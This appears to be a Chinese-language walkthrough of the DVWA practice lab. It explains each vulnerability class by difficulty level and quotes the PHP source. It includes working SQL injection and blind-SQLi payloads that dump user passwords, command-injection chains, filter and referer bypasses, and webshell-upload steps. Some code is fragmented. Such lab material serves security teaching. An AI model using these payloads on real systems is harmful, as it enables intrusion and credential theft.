目录
1.Brute Force(暴力破解)
Low
Medium
High
Impossible
2.Command Injection(命令执行)
Low
Medium
High
Impassible
3.CSRF(跨站请求伪造)
Low
Medium
High
Impassible
4.File Inclusion(文件包含)
Low
Medium
High
Impassible
5.File Upload(文件上传)
Low
Medium
High
Impassible
6.Insecure CAPTCHA(不安全的验证码)
Low
Medium
High
Impassible
7.SQL Injection(SQL注入)
Low
Medium
High
Impassible
8.SQL Injection (Blind)(SQL盲注)
Low
Medium
High
Impassible
9.Weak Session IDs(弱会话)
Low
Medium
High
Impassible
10.DOM Based Cross Site Scripting (XSS)(基于 DOM 的跨站脚本)
Low
Medium
High
Impassible
11.Reflected Cross Site Scripting (XSS)(反射跨站脚本)
Low
Medium
High
Impassible
12.Stored Cross Site Scripting (XSS)(存储跨站脚本)
Low
Medium
High
Impassible
13.Content Security Policy (CSP) Bypass(内容安全策略绕道)
Low
Medium
High
Impassible
14.JavaScript Attacks(JS攻击)
Low
Medium
High
Impassible
源码解析:
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "Welcome to the password protected area {$user}
"; echo ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Username and/or password incorrect.
原理:黑客利用的字典,枚举爆破用户口令,尝试是否能够登录
这里有一个登录框,需要输入用户和密码才能登录
暴力破解常用工具:Burp
首先配置代理,不再描述
然后进行字典爆破
抓取并且发送
用户名猜测为admin,对密码字段进行爆破
加载一个字典进行爆破
爆破成功
源码解析:
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "Welcome to the password protected area {$user}
"; echo ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
Username and/or password incorrect.
与Low难度基本相同,区别是每一次登录失败后会延时2s,别的就没有什么改动了,总体过程影响不大。
在low安全级别的基础上,在username和password的GET传参后利用函数做了数据过滤,对数据库中特殊符号进行转义,能够抵御基本的SQL注入
源码解析:
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "Welcome to the password protected area {$user}
"; echo ""; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
Username and/or password incorrect.
设置线程数为1
源码解析:
// 检验 token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 过滤 username 和 password
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = mysql_real_escape_string( $user );
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );
// 失败登录次数 3 锁定时间单位 15 账户锁定
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
// 验证用户名和密码
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// 检查用户是否已被锁定.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// 登录失败超过 3 次 15 分钟再尝试
$last_login = $row[ 'last_login' ];
$last_login = strtotime( $last_login );
$timeout = strtotime( "{$last_login} +{$lockout_time} minutes" );
$timenow = strtotime( "now" );
// 检查是否已经过了足够的时间,是否没有锁定帐户
if( $timenow > $timeout )
$account_locked = true;
}
// 检验用户名和密码
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// 如果登录有效
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// 获取用户头像、登录测试、和最近登录
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// 输出登录成功信息
echo "Welcome to the password protected area {$user}
";
echo "
";
// 自上次登录后帐户是否已被锁定?
if( $failed_login >= $total_failed_login ) {
echo "Warning: Someone might of been brute forcing your account.
";
echo "Number of login attempts: {$failed_login}.
Last login attempt was at: ${last_login}.
";
}
// 重置登录失败次数
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
else {
// 登录失败随机延时并输出返回信息
sleep( rand( 2, 4 ) );
echo "
Username and/or password incorrect.
Alternative, the account has been locked because of too many failed logins.
If this is the case, please try again in {$lockout_time} minutes.
";
// 更新登录失败数
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// 设置最后的登录时间
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
这个难度是最高的难度,其中的改变都有GET提交方式改为POST提交方式,同样加了token校验机制,还有就是他限制的登录的次数,如果登录失败3次,账户就会被锁定,需要等待15,然后才能重新尝试。
源码解析:
{$cmd}
";
}
?>
原理:用户输入的数据被当做系统命令进行执行
可以看见这是一个通过cmd进行命令注入的漏洞,而且是通过ping命令进行攻击的
首先测试ping 127.0.0.1
ping 127.0.0.1 && ipconfig
参数未作任何过滤和规则限制,可以通过构造恶意传参,执行系统命令或者直接传马
源码解析:
'',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
//将参数中有&&和;的都替换成空
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "{$cmd}
";
}
?>
小知识:
&左右两端条件式有一个为假就会不成立,但是两端都会运行
&&只要左端条件式为假直接不成立,不会去判断右端条件式。
或者
源码解析:
'',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
//替换成空
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "{$cmd}
";
}
?>
发现黑名单&,| ,||,等,其中的“| ”,其后有一个空格,我们可以使用“|”来绕过
源码解析:
{$cmd}
";
}
else {
// Ops. Let the user name theres a mistake
echo 'ERROR: You have entered an invalid IP.'; } } // Generate Anti-CSRF token generateSessionToken(); ?>
防御思路:
设置黑名单过滤特殊符号
替换、转义关键字
设置白名单,限制传参
原理:指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。
通过仿造某一个特殊的网页(重置密码)来进行诱惑性攻击
源码解析:
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Feedback for the user
echo "Password Changed."; } else { // Issue with passwords matching echo "
Passwords did not match."; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
通过GET方式获取两次密码,两次密码输入一致的话,就可以直接带入数据中修改密码。
首先尝试修改为123456
成功
然后测试修改后的密码
发现修改成功
同时发现URL显示了我们输入要修改的密码
在WWW目录下新建一个1.html,写入
404
file not found.
如此,当我们打开1.html时,密码就会被修改为123456(诱骗打开这个1.html)
源码解析:
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Feedback for the user
echo "Password Changed."; } else { // Issue with passwords matching echo "
Passwords did not match."; } } else { // Didn't come from a trusted source echo "
That request didn't look correct."; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
中等级别的代码增加了 referer 判断
如果 HTTP_REFERER 和 SERVER_NAME 不是来自同一个域的话就无法进行到循环内部,执行修改密码的操作。
其实意思是这个referer中只要出现Host就可以正常操作
恶意网站中是这样的,显然是不成立的
Host 127.0.0.3
Referer http://127.0.0.1/
如果是这样的呢
Host 127.0.0.3
Referer http://127.0.0.1/127.0.0.3.html
这样就可以绕过,从而实现改密的操作了。
源码解析:
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Feedback for the user
echo "Password Changed."; } else { // Issue with passwords matching echo "
Passwords did not match."; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
High级别的代码增加了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端请求。
利用xss,xss可以执行代码,获取token
security=low; PHPSESSID=cct3sn9kopbrfdcq2chncle4s1
抓包修改
方框位置可以修改为想要的密码
源码解析:
prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "Password Changed.
";
}
else {
// Issue with passwords matching
echo "Passwords did not match or current password incorrect.
";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
要求我们先输入密码再修改,攻击者不知道原始密码的情况下是无法发起 CSRF 攻击的。
File Inclusion(文件包含),是指当服务器开启了allow_url_include选项时,通过一些PHP的特性函数(比如:include(),require(),include_once()和require_once())利用URL去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
源码解析:
首先进行尝试,发现有返回结果
phpinfo.php文件,尝试本地包含
尝试一下远程包含百度页面
源码解析:
这个地方加了一些过滤,将“http://”,“https://”,“../”,“..\”全部替换成了空,这个地方其实可以考虑双写绕过。
构造一个新的
hthttp://tp://www.baidu.com
过滤后
http://www.baidu.com
过滤前
…/./
过滤后
../
源码解析:
使用伪协议:file:// (访问本地文件系统)
参考文章:文件包含-伪协议_孤的博客-CSDN博客_文件包含伪协议
源码解析:
使用白名单进行保护
源码解析:
Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!"; } } ?>
由于对上传文件的内、类型没有做严格的过滤、检查,使得攻击者可以通过上传木马文件获取服务器的webshell文件。
我们可以直接上传一句话木马
源码解析:
Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!"; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.'; } } ?>
对文件上传的类型和大小做了限制,要求必须是image/jpeg 或者 image/png 类型的。
上传一句话木马
上传时抓包,修改
源码解析:
Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!"; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.'; } } ?>
需要上传一个图片木马
源码解析:
${target_file} succesfully uploaded!
";
}
else {
// No
echo 'Your image was not uploaded.'; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.'; } } // Generate Anti-CSRF token generateSessionToken(); ?>
这个级别的文件上传对上传的文件进行了重命名(MD5的加密),还增加了token值的校验,对文件的内容也做了严格的检查。
验证流程:
用户首先访问网页,触发页面的验证码的js模块,向谷歌服务器发起请求,谷歌服务器将验证码发给用户。用户输入验证码发送数据回去,这里发给的是访问网站的服务器,网站的服务器拿到验证码后,再去访问谷歌的服务器,谷歌的服务器会判断验证码是否正确,再将结果返回给网站服务器。
源码解析:
The CAPTCHA was incorrect. Please try again.
";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
"; } else { // Both new passwords do not match. $html .= "
You passed the CAPTCHA! Click the button to confirm your changes.
Both passwords must match."; $hide_form = false; } } } //第二阶段,检测两次密码是否一致,并更新密码 if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); // Feedback for the end user echo "
Password Changed."; } else { // Issue with the passwords matching echo "
Passwords did not match."; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
按照源码,总共分为两个阶段:
第一阶段,step1,对用户的身份进行验证,验证成功才能进行密码修改
第二阶段,step2,两次输入的密码一致,才可以进行修改
思路:跳过第一步,直接进行第二步
(1)输入两个一致的密码,使用burp抓包
将其中的step1直接改为step2
成功
源码解析:
The CAPTCHA was incorrect. Please try again.
";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
// 对参数passed_captcha进行验证,如果通过身份验证,该参数就为true
"; } else { // Both new passwords do not match. $html .= "
You passed the CAPTCHA! Click the button to confirm your changes.
Both passwords must match."; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if they did stage 1 if( !$_POST[ 'passed_captcha' ] ) { $html .= "
"; $hide_form = false; return; } // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '
You have not passed the CAPTCHA.
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); // Feedback for the end user echo "
Password Changed."; } else { // Issue with the passwords matching echo "
Passwords did not match."; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
与Low难度相比,增加了一个passed_captcha,当passed_captcha为true时就可以修改密码了
与Low相似,直接修改为step2,并且在后面增加参数passed_captcha=true,即可修改成功
源码解析:
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Feedback for user
echo "Password Changed."; } else { // Ops. Password mismatch $html .= "
Both passwords must match."; $hide_form = false; } } else { // What happens when the CAPTCHA was entered incorrectly $html .= "
"; $hide_form = false; return; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>
The CAPTCHA was incorrect. Please try again.
抓包修改即可
源码解析:
The CAPTCHA was incorrect. Please try again.
";
$hide_form = false;
return;
}
else {
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new password match and was the current password correct?
if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
// Update the database
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the end user - success!
echo "Password Changed."; } else { // Feedback for the end user - failed! echo "
Either your current password is incorrect or the new passwords did not match."; $hide_form = false; } } } // Generate Anti-CSRF token generateSessionToken(); ?>
Please try again.
Impossible级别的代码增加了Anti-CSRF token 机制防御CSRF攻击,利用PDO技术防护sql注入,验证过程不再分成两部分了,同时要求用户输入之前的密码,进一步加强了身份认证。
攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。
SQL注入流程:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.下载数据
源码解析:
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}"; } mysqli_close($GLOBALS["___mysqli_ston"]); break; case SQLITE: global $sqlite_db_connection; #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']); #$sqlite_db_connection->enableExceptions(true); $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "
First name: {$first}
Surname: {$last}
ID: {$id}"; } } else { echo "Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } } ?>
First name: {$first}
Surname: {$last}
首先找到注入点,判断注入类型
1
1\
1' #
1 ' order by 2 #
判断存在2个字段
1 ' union select 1,2 #
显示报错位
1 ' union select 1,database() #
查找库名
查找当前数据库中的表
1 ' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
查找表users中的字段
1 ' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
查找数据
1 ' union select group_concat(user),group_concat(password) from users #
源码解析:
' . mysqli_error($GLOBALS["___mysqli_ston"]) . '
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}"; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
First name: {$first}
Surname: {$last}
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?>
使用POST提交方式,还使用了转义预防SQL注入。
(1)判断注入点,判断注入类型
1
1 \
1 #
判断字段
1 order by 2 #
显示报错位
1 union select 1,2 #
查找库名
1 union select 1,database() #
查找当前数据库中的表
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
查找表users中的字段
1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
查找数据
1 union select group_concat(user),group_concat(password) from users #
源码解析:
Something went wrong.
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
First name: {$first}
Surname: {$last}
使用了session 获取id 值,闭合方式单引号闭合。
1' union select group_concat(user),group_concat(password) from users #
源码解析:
prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "ID: {$id}
First name: {$first}
Surname: {$last}
";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
CSRF、检测 id 是否是数字。 prepare 预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。
相比于常规的SQL注入,他不会将返回具体的数据信息或语法信息,只会将服务器包装后的信息返回到页面中。
常规SQL注入与SQL盲注详细对比
SQL注入 | 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提示SQL语法不正确等。 2.一般在页面上直接就会显示执行sql语句的结果。 |
SQL盲注 | 1.一般情况,执行SQL盲注,服务器不会直接返回具体的数据库错误or语法错误,而是会返回程序开发所设置的特定信息(也有特例,如基于报错的盲注) 2.一般在页面上不会直接显示sql执行的结果 3.有可能出现不确定sql是否执行的情况 |
SQL盲注流程:
1.判断是否存在注入,注入的类型
2.猜解当前数据库名称
3.猜解数据库中的表名
4.猜解表中的字段名
5.获取表中的字段值
6.验证字段值的有效性
7.获取数据库的其他信息:版本、用户…
源码解析:
0 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
对传参没有进行任何检查、过滤,返回参数只有User ID exists in the database.和User ID is MISSING from the database.两种
(1)判断是否存在注入
1' and sleep(5) -- qwe>回显延迟
1.1' and sleep(5) -- qwe>回显不延迟
由此判断存在盲注
(2)判断数据库库名长度
1' and if(length(database())=1,sleep(5),1) -- qwe
通过修改length函数的等值,触发if条件,查看是否延时,就可以获取库名长度为4
(3)分割字符判断数据库库名
1' and if(ascii(substr(database(),1,1))=1,sleep(5),1) -- qwe
通过修改substr函数的值,触发if条件,查看是否延时,就可以获取库名
源码解析:
0 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
//mysql_close();
}
?>
和普通的SQL注入方式差不多,只是需要BP来抓包修改参数值
与Low过程相似
源码解析:
0 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
//返回MISSING时,会随机执行sleep()函数,做执行,则延迟的时间是随机在2-4s
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
对于LIMIT 1的限制输出记录数目,可以利用#
注释其限制;服务端可能会随机执行sleep()函数,若执行,则延迟的时间是随机在2-4s,这样会对正常的基于时间延迟的盲注测试造成干扰。因此可以考虑用基于布尔的盲注进行测试。
1' #
1' and (select ascii(substr(database(),1,1)) = 114) #
1' and (select ascii(substr((select table_name from information_schema.tables where table_schema='root' limit 0,1),1,1)) = 103) #
1' and (select ascii(substr((select column_name from information_schema.columns where table_schema='root' and table_name='guestbook' limit 0,1),1,1)) = 99) #
1' and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) = 49) #
源码解析:
prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
//使用PDO
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
用户访问服务器的时候,一般服务器都会分配一个身份证 session id 给用户,用于标识。用户拿到 session id 后就会保存到 cookies 上,之后只要拿着 cookies 再访问服务器,服务器就知道你是谁了。
但是 session id 过于简单就会容易被人伪造。根本都不需要知道用户的密码就能访问,用户服务器的内容了。
源码解析:
使用Burp,查看cookie
Cookie: dvwaSession=1; security=low; PHPSESSID=kae2tuoolsgmo7d51kmu307npu
在重新打开DVWA的登录页面,将刚才复制下来的cookie粘贴到再次抓取的请求包上面,就可以实现直接登录了,不用输入用户密码
源码解析:
在这里是通过时间戳来生成的session
时间戳转换:时间戳(Unix timestamp)转换工具 - 在线工具
与Low的方法一样,设置猜解后构造的session id,把session的时间戳调整到现在时间,可以直接免密登录
源码解析:
dvwaSesion值很像md5加密,使用md5解密,发现是对从零开始的整数进行加密
设置猜解后构造的session id,可以直接免密登录
源码解析:
使用随机session id作为起始值
跨站脚本攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。
DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。
无源码
直接进行弹窗尝试
源码解析:
简单来说,就是过滤掉了“
源码解析:
不需要做任何事情,保护由客户端处理
XSS攻击需要具备两个条件:
XSS反射型漏洞
反射型XSS的触发有后端的参与,而之所以触发XSS是因为后端解析用户在前端输入的带有XSS性质的脚本或者脚本的data URI编码,后端解析用户输入处理后返回给前端,由浏览器解析这段XSS脚本,触发XSS漏洞。
基本原理就是通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特定的代码参数会被HTML解析,执行,如此就可以获取用户的COOIKE,进而盗号登陆。
源码解析:
Hello ' . $_GET[ 'name' ] . '
';
}
?>
服务器并没有对 name 参数做任何的过滤和检查。
直接使用 进行尝试
源码解析:
转化为空
$name = str_replace( '
或者
ript>alert(1)
源码解析:
Hello ${name}
";
}
?>
preg_replace() 函数执行一个正则表达式的搜索和替换,“*” 代表一个或多个任意字符,“i” 代表不区分大小写。也就是说 “< script >” 标签在这里被完全过滤了,但是我们可以通过其他的标签例如 img、body 等标签的事件或者iframe 等标签的 src 注入 JS 攻击脚本。
![](#)
源码解析:
(大于) 成为 >
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "Hello ${name}
";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
